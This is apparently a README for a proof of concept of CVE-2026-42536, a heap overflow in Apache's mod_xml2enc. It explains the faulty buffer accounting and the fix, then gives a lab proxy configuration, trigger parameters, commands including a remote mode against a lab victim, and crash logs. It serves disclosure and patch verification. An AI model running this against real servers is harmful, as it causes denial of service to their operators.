
Heap-based Buffer Overflow vulnerability in Apache HTTP Server with mod_xml2enc, xml2StartParse, and untrusted content
mod_xml2enc Heap Overflow PoCThis repository contains a controlled proof of concept for CVE-2026-42536, a heap-based out-of-bounds write in Apache HTTP Server's mod_xml2enc module. Apache HTTP Server versions 2.4.0 through 2.4.67 are affected; version 2.4.68 contains the upstream fix.
The demonstrated result is memory corruption followed by an Apache worker crash. Repeated triggers can cause denial of service. This PoC does not demonstrate remote code execution, privilege escalation, or a reverse shell.
This PoC intentionally sends content that can crash an Apache worker. Run it only in a disposable, isolated environment that you own or are explicitly authorized to test. Do not point it at production or third-party systems.
The script permits only loopback operation by default. Remote operation requires the explicit --allow-remote flag, but that flag is not a substitute for authorization.
xml2StartParse can instruct mod_xml2enc to skip bytes before the configured start element. In Apache HTTP Server 2.4.67, fix_skipto() advances the output-buffer pointer and reduces the amount of valid data, but it does not reduce the output capacity by the same offset:
ctx->bytes -= (p - ctx->buf);
ctx->buf = p;
The later character-set conversion therefore receives a capacity measured from the original allocation even though ctx->buf now points inside that allocation. The PoC makes this mismatch observable by combining:
xml2StartParse html.Content-Type declaring charset=windows-1252.0x80, which expands from one CP1252 byte to the three-byte UTF-8 encoding of the euro sign.The expanding conversion consumes the stale capacity and can write beyond the actual space remaining after the advanced pointer.
Apache 2.4.68 fixes the accounting error by subtracting the skipped offset from ctx->bblen:
ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
ctx->buf = p;
The PoC uses two HTTP components:
poc.py client -> vulnerable Apache front end -> payload backend in poc.py
Apache must load the following modules:
filter
proxy
proxy_http
xml2enc
Use the following configuration only in an isolated Apache 2.4.67-or-earlier lab:
Listen 127.0.0.1:18080
<VirtualHost 127.0.0.1:18080>
ProxyRequests Off
ProxyPass /cve-2026-42536/ http://127.0.0.1:18081/
ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/
<Location /cve-2026-42536/>
SetOutputFilter xml2enc
xml2StartParse html
</Location>
</VirtualHost>
The default configuration expects poc.py to run in the same host or container network namespace as Apache. Port 18081 is the payload backend; requests must be sent to the filtered Apache route on port 18080.
Start the vulnerable Apache instance, then run the PoC from the same disposable host or container:
python3 poc.py
The defaults are equivalent to:
python3 poc.py \
--host 127.0.0.1 \
--port 18080 \
--path /cve-2026-42536/ \
--backend-bind 127.0.0.1 \
--backend-port 18081 \
--skip 2048 \
--expand 12288 \
--attempts 3
For a two-machine authorized lab, make the payload backend reachable from Apache and update ProxyPass/ProxyPassReverse to use the attacker's lab IP. Then bind the backend and target the lab Apache address explicitly:
python3 poc.py \
--host VICTIM_LAB_IP \
--port 18080 \
--backend-bind 0.0.0.0 \
--backend-port 18081 \
--allow-remote
Do not expose the backend port beyond the isolated test network.
Monitor Apache while running the PoC. Depending on the build and process manager, a client request may fail, reset, or return partial data while the parent process replaces the crashed worker.
Typical evidence from the tested vulnerable build included:
AH01434 character-set conversion selected
AH01428 skipped to the first configured element
AH01441 conversion performed
AH00052 child process exited on signal 11 (SIGSEGV)
On a systemd-managed installation:
sudo journalctl -u apache2 -f
For a foreground Docker container:
docker logs -f CONTAINER_NAME
Worker PID churn can provide an additional signal:
watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'
Transport failure alone is not proof of the vulnerability. Confirm the crash in the Apache error log, system journal, sanitizer output, or a core dump.
Repeat the same request against Apache HTTP Server 2.4.68 with the same modules and virtual-host configuration. The payload backend should still receive the request, but the Apache worker should remain alive because the output capacity is reduced together with the advanced pointer.
If the parent process does not automatically replace the worker, restart only the disposable lab service:
sudo systemctl restart apache2
or restart the disposable container:
docker restart CONTAINER_NAME